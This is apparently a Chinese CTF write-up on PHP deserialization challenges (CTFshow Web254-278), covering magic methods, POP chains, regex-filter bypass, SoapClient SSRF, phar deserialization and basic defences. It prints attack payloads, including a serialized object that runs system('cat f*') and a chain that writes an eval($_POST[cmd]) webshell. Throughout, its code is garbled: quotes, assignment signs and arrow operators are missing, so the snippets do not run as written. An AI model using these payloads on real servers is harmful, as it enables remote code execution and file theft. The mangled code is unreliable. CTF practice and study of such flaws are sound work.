CTFshow Web反序列化实战:从魔术方法到POP链构造(Web254-278)

发布时间:2026/7/16 1:18:31
CTFshow Web反序列化实战:从魔术方法到POP链构造(Web254-278) 1. PHP魔术方法与反序列化基础PHP中的魔术方法是一类特殊的方法它们会在特定时机被自动调用。理解这些方法是掌握反序列化漏洞的关键。先来看几个核心魔术方法__construct()对象创建时触发__destruct()对象销毁时触发__wakeup()反序列化时触发__toString()对象被当作字符串使用时触发__call()调用不可访问方法时触发序列化示例class User { public $username admin; private $password 123456; } echo serialize(new User()); // 输出O:4:User:2:{s:8:username;s:5:admin;s:15:\x00User\x00password;s:6:123456;}私有属性序列化后会包含类名前缀和空字符\x00。Web254题目就是通过修改序列化字符串中的isVip属性值来绕过权限检查// 构造payload class ctfShowUser{ public $isVip true; } echo urlencode(serialize(new ctfShowUser())); // 输出O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D2. 反序列化漏洞利用实战2.1 对象注入与属性控制Web255-256展示了如何通过控制Cookie中的序列化数据来修改对象属性。关键步骤找到接收反序列化数据的入口点如$_COOKIE分析目标类中可能被利用的属性构造恶意序列化字符串Web257的解题代码class ctfShowUser{ private $class backDoor; public function __construct(){ $this-class new backDoor(); } } class backDoor{ private $code system(cat f*);; } echo urlencode(serialize(new ctfShowUser()));2.2 绕过过滤技巧Web258演示了如何绕过正则过滤// 原始过滤 if(!preg_match(/[oc]:\d:/i, $_COOKIE[user])) // 绕过方法在数字前添加 $payload str_replace(O:,O:, $payload);3. 高级POP链构造3.1 链式调用原理POPProperty-Oriented Programming链是通过串联多个魔术方法实现的攻击链。Web257的利用链__destruct() - $class-getInfo() - eval($code)构造步骤找到起始点通常是__destruct或__wakeup寻找可以控制的方法调用连接各环节直到执行危险函数3.2 实战案例解析Web261的POP链构造class ctfshowvip{ public function __destruct(){ if($this-code0x36d){ // 877的十六进制 file_put_contents($this-username, $this-password); } } } // 利用弱类型比较写入webshell $exp new ctfshowvip(877.php, ?php eval($_POST[cmd]);?);4. 特殊场景下的反序列化4.1 SoapClient SSRF利用Web259展示了如何利用SoapClient发起SSRF攻击$target http://127.0.0.1/flag.php; $post_string tokenctfshow; $b new SoapClient(null, [ location $target, user_agent payload\r\nContent-Type: application/x-www-form-urlencoded\r\n ]);4.2 Phar反序列化Web276需要利用phar协议触发反序列化创建恶意phar文件$phar new Phar(exp.phar); $phar-setMetadata($maliciousObject);通过文件操作函数触发// 触发点 file_get_contents(phar://exp.phar);5. 防御方案与最佳实践输入验证if (!is_string($serialized) || !preg_match(/^[a-zA-Z0-9\/]*{0,2}$/, $serialized)) { die(Invalid serialized data); }使用安全的反序列化方法// PHP 7.0 $data unserialize($input, [allowed_classes false]);关键操作权限检查public function __destruct(){ if($this-checkPermission()){ // 安全操作 } }在实际CTF比赛中遇到反序列化题目时建议先找反序列化入口点unserialize调用分析可用类的魔术方法尝试构造属性覆盖逐步构建POP调用链注意字符过滤和编码问题